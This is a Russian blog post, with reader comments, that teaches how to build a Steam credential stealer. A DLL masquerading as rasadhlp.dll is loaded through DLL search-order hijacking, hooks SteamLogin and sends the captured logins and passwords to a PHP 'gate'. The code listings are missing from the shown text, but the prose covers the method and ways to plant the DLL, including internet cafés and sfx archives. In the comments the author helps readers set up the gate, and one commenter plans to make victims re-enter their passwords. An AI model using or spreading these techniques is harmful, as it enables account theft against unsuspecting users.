Print This Post Тащим пароли от Steam

Вторник, 21. Сентябрь 2010
Раздел: Assembler, автор:

В связи с огромной популярностью сервиса Steam, решил написать простой пример осуществления перехвата вводимых данных при авторизации (логин и пароль) с дальнейшей отправкой на гейт.
Беглый поиск в интернете показал, что подобные примеры существуют, однако, зачастую громоздки, либо уже устарели.
Итак, для осуществления перехвата необходимо определить, куда передается управление при попытке авторизации в Стиме. Основой для взаимодействия с сервисом Steam является Steam.dll, которая экспортирует множество функций, в том числе и функцию SteamLogin, которая как раз и вызывается при попытке авторизации.
Таким образом необходимо реализовать "прослойку", которая будет выполняется перед вызовом этой функции и передавать введенные данные на наш гейт. Для начала нужно определить, возможно ли заставить Steam подгрузить нашу библиотеку без внесения изменения в оригинальные файлы.
Если запустить Steam и посмотреть, какие dll'ки и откуда пытается подгрузить исполняемый файл, то мы увидим примерно следующее (я смотрел с помощью FileMon, но уже давно существует более продвинутый Process Monitor):

Как мы видим, подгружается множество библиотек, причем красным выделены неудачные попытки загрузки библиотек. При вызове LoadLibrary производится попытка найти некоторые системные библиотеки сначала в директории с исполняемым файлом, а уже потом в System32. Это позволяет сделать следующую вещь: выбрать какую-нибудь редкоиспользуемую системную библиотеку из тех, которые исполняемый файл сначала ищет в своей директории (например, rasadhlp.dll), создать свою библиотеку с таким же именем (которая будет сплайсить функцию SteamLogin) с пробросом экспортов в оригинальную библиотеку.

Условно это будет выглядеть следующим образом:

При попытке вызова какой-либо экспортируемоей функции из нашей библиотеки, вызов будет перенаправлен в оригинальную библиотеку. И при загрузке наша библиотека запишет инструкцию вида jmp XXXXXXX в начало функции SteamLogin, что позволит предварительно отправить данные авторизации на гейт, а уже потом вернуться к выполнению оригинальной функции.
Код библиотеки на MASM32 приведен ниже:

Как создать файлы rasodhlp.lib и rasodhlp.inc, я поясню ниже. Смысл структуры JUMPNEAR описан в статье про инжектор. Кстати, я не использовал полезные макросы из статьи про инжектор. Это связано с тем, что в данном случае осуществляется сплайсинг не winapi-функции, соответственно, у нее не такой пролог, как у большинства winapi, также требуется сохранять состояние регистров и флагов перед выполнением своих действий, да и нам не требуется осуществлять возврат в нашу функцию после вызова оригинальной SteamLogin.
Далее объявим необходимые переменные:

Пролог можно посмотреть в любом дизассемблере, для функции SteamLogin он выглядит следующим образом:

Реализуем процедуру, которая будет выполняться до вызова оригинальной функции:

Теперь процедуру отправки данных на гейт:

И, наконец, точку входа DLL:

Также нужно создать файл rasadhlp.def, который будет содержать описание экспортов библиотеки:

и файлы rasodhlp.lib и rasodhlp.inc, которые необходимы для компиляции. Чтобы создать файл rasodhlp.inc, необходимо посмотреть в дизассемблере экспорты оригинальной библиотеки

и определить количество аргументов, которые передаются в эти функции, чтобы составить прототипы.
Я ориентировался исключительно по инструкции retn (т.е. число после retn / 4 = количество аргументов):

Вот что у меня получилось:

Для создания lib-файла понадобится программа inc2l, которая обычно есть в комплекте MASM32. Для большей похожести на оригинал можно ещё создать .rc файл с информацией о версии dll'ки:

Теперь можно и скомпилировать все это дело. Пакет для компиляции можно взять из этой статьи. После компиляции получим свою кастомную rasadhlp.dll, которую необходимо поместить в директорию с файлом Steam.exe. Сделать это можно разными способами, например, воспользоваться уязвимостью dll hijacking в каком-либо стороннем приложении, сделать sfx-архив, который будет пытаться скопировать библиотеку в возможные места расположения стима после распаковки или банально прийти в какое-нибудь интернет-кафе, куда имеют обыкновение ходить игроки в продукты Steam (в США таких мест довольно много).
И, напоследок, код гейта, на который будут приходить реквизиты доступа:

Не забудьте создать файл log.txt, проставить на него права доступа 777 и закинуть в директорию файл .htaccess:

Тогда собранные данные не попадут в чужие руки.

Исходники одним архивом: скачать

 Обсудить на форуме


Получать обновления на почту:     

Комментариев: 80 к “Тащим пароли от Steam”


  1. Игорь :

    Проблема нет макроса windows.asm в в директории masm32\macros\windows.asm
    Версия masm32 SDK11

    [Ответить]


  2. Игорь :

    В конце непонятно куда вставлять код гйта и где находится htaccess, куда компируем log.txt

    [Ответить]

    Kaimi:

    Если возникает такой вопрос, то статья не для вас, так как она предназначена не для тех, кто хочет просто скачать и применить

    [Ответить]


  3. Игорь :

    Я PHP не владею а тут еще и инжекцию нужно проводить, мож объяснить-?

    [Ответить]

    Kaimi:

    Этот способ неактуален уже. Стим перешел на COM-интерфейсы, так что переписывать придется

    [Ответить]


  4. Игорь :

    Я просто откомпилировал dll-ку и мне хотелось бы подгрузить ее к исполняемому файлу, но для этого надо написать инжектор на C+,здоровенный код придется переписывать для перехвата функций,sfx - полегче создать-?

    [Ответить]

    Kaimi:

    Конечно

    [Ответить]


  5. Игорь :

    Я всегда спатыкаюсб именно на элементарных вопросах, разобрал статью, весь исходник,скопилировал dll-ку и тут ступр, скажи куда код гейта вставить а с sfx-архивоя я сам разберусь и там в дизассемблере у тебя не RETN4 а RETN8 - ПЕРЕДАЕТСЯ - 8 аргументов, почему ты пишешь retn\ 4 -?

    [Ответить]

    Kaimi:

    На народ.ру вставляй понятное дело. Хрен его знает, наверное дело в
    C2 iw RET imm16 Near Return to calling procedure and pop imm16 bytes from stack

    [Ответить]


  6. Игорь :

    Вот здесь непонятно. как на народ код гейта вставить,вопрос конечно элементарный,то есть файл создать и залить на народ.ru-?

    [Ответить]

    Kaimi:

    Конечно. Какие ещё варианты то-?

    [Ответить]

    Игорь:

    А код для zip-архива я прописываю такой:

    ;[email protected]@!UTF-8!
    RunProgram="StartX.exe /WAIT \"msiexec /i Steam.msi /qn\""
    ;[email protected]@! -?

    [Ответить]

  7. Работает еще?

    [Ответить]

    Kaimi:

    Нет, стим перешел на com-интерфейсы

    [Ответить]

    sooqua:

    Можно скайп твой? Есть пару вопросов)
    Или добавь меня: sooqua

    [Ответить]

    Kaimi:

    Я не пользуюсь скайпом

    sooqua:

    Ну я пишу dll-ку, которая должна выкинуть юзера из стима.
    Импортирую функции из Steam.dll:

    pfnSteamLogout = (SteamLogout)GetProcAddress(hSteamDLL, "SteamLogout");
    pfnSteamCleanup = (SteamCleanup)GetProcAddress(hSteamDLL, "SteamCleanup");
    pfnSteamShutdownEngine = (SteamShutdownEngine)GetProcAddress(hSteamDLL, "SteamShutdownEngine");

    И вызываю их (в хронологической последовательности). Не зависает, но и авторизацию не сбрасывает. Из всех функций что я импортировал из стим.длл работает только SteamIsLoggedIn, которая действительно возвращает 1 если юзер авторизирован и 0 если нет.

    Kaimi:

    Я же говорю, стим перешел на использование COM-интерфейсов, с ними взаимодействие реализуется по другому

    sooqua:

    Поможешь мне?) Очень нужно выкинуть юзера..

    Kaimi:

    И в чем смысл? Стим автоматически перелогинится практически сразу.

    sooqua:

    Не знал) А разве нельзя сделать так чтобы он подумал что пользователь сам вышел?

    Kaimi:

    Можно. Взять и закрыть клиент.

    sooqua:

    А так чтобы пользователю предложилось ввести логин и пасс?

    [Ответить]

    Kaimi:

    Так после закрытия клиента пользователь и так захочет снова зайти в него, а для этого придется вводить логин и пароль

    [Ответить]

    sooqua:

    Наверное сделаю так:
    1) TerminateProcess Steam.exe
    2) Парсинг файла SteamAppData.vdf и замена у "RememberPassword" 1 на 0.
    3) StartProcess Steam.exe
    Хотелось бы конечно просто выйти программно)) Но видима не судьба пока)


  8. Саня :

    я в этом нихена не понимаю,ибо компьютер не моё увлечение,но не могли быподсказать мне как аккаунт востановить...пароль ввожу,а он не подходит,и на ящик ничего не приходит...ситуация патовая...

    [Ответить]

    Kaimi:

    Обратиться в тех. поддержку

    [Ответить]


  9. онотолий бушмекшандов :

    Какой http запрос нужен для отправки файла на гейт?

    [Ответить]

    Kaimi:

    google->multipart form data

    [Ответить]


Оставьте ваш комментарий